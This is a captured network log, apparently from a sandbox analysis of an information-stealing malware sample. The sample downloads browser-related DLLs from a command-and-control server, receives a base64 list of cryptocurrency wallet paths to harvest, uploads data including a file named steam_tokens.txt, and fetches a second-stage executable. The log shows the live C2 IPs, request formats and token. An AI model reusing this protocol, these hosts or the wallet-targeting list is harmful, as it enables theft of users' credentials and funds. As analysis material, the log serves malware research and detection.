Nov 8, 2024 15:21:08.863903999 CET	784	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 8, 2024 15:21:09.152168989 CET	1236	IN	Data Raw: 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 00 00 e9 74 fe ff ff 89 f8 89 cf 83 7d d8 00 0f 85 fd fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 Data Ascii: ;uUM}Et}EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@
Nov 8, 2024 15:21:09.152182102 CET	112	IN	Data Raw: ce 8b 48 44 89 8d 34 ff ff ff 8b 55 c8 11 ca 8b bd 60 ff ff ff 01 fe 89 75 b4 13 55 98 31 d3 89 5d 94 89 d3 8b 85 64 ff ff ff 31 f0 89 85 64 ff ff ff 8b 4d ec 03 4d 94 89 4d ec 8b 55 e0 11 c2 89 55 e0 31 cf 8b 75 98 31 d6 89 f9 0f a4 f1 08 0f a4 Data Ascii: HD4U`uU1]d1dMMMUU1u1tpH8}pL
Nov 8, 2024 15:21:14.015269995 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:14.292043924 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 8, 2024 15:21:17.621579885 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:17.898648977 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 8, 2024 15:21:19.960148096 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:20.237143040 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 8, 2024 15:21:25.596432924 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:25.873626947 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 8, 2024 15:21:26.216732979 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 8, 2024 15:21:26.493532896 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 8, 2024 15:21:26.997454882 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: 185.215.113.206 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Nov 8, 2024 15:21:27.778902054 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:21:27.852754116 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"wallets------GHJEGCAEGIIIDHIEBKEB--
Nov 8, 2024 15:21:28.133353949 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:27 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 8, 2024 15:21:28.143119097 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHIIDHCGHCAAAAAFIJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 49 49 44 48 43 47 48 43 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------GCGHIIDHCGHCAAAAAFIJContent-Disposition: form-data; name="message"files------GCGHIIDHCGHCAAAAAFIJ--
Nov 8, 2024 15:21:28.423021078 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:21:28.462532043 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"------CGIEBAFHJJDBGCAKJJKF--
Nov 8, 2024 15:21:29.694113016 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 8, 2024 15:21:29.756165981 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 37 31 34 30 61 36 30 30 34 36 35 33 37 62 33 36 33 63 64 61 62 38 61 36 64 61 32 39 34 62 63 38 39 61 31 63 63 30 35 66 62 66 32 39 36 37 39 37 30 66 63 39 32 30 37 37 62 33 32 30 64 35 36 31 65 35 32 63 65 36 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"f7140a60046537b363cdab8a6da294bc89a1cc05fbf2967970fc92077b320d561e52ce6a------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"ybncbhylepme------DHDHJJJECFIECBGDGCAA--
Nov 8, 2024 15:21:30.037296057 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:21:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49840	185.215.113.16	80	7596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 8, 2024 15:21:30.047002077 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 8, 2024 15:21:30.955003977 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 08 Nov 2024 14:21:30 GMT Content-Type: application/octet-stream Content-Length: 3283968 Last-Modified: Fri, 08 Nov 2024 14:04:41 GMT Connection: keep-alive ETag: "672e1a79-321c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf 2@P2V{2@Wk22 @.rsrc@.idata @zfsnmxuo`+`+@hrxqujut21@.taggant0 2"1@
Nov 8, 2024 15:21:30.955037117 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:30.955048084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 8, 2024 15:21:30.955142975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
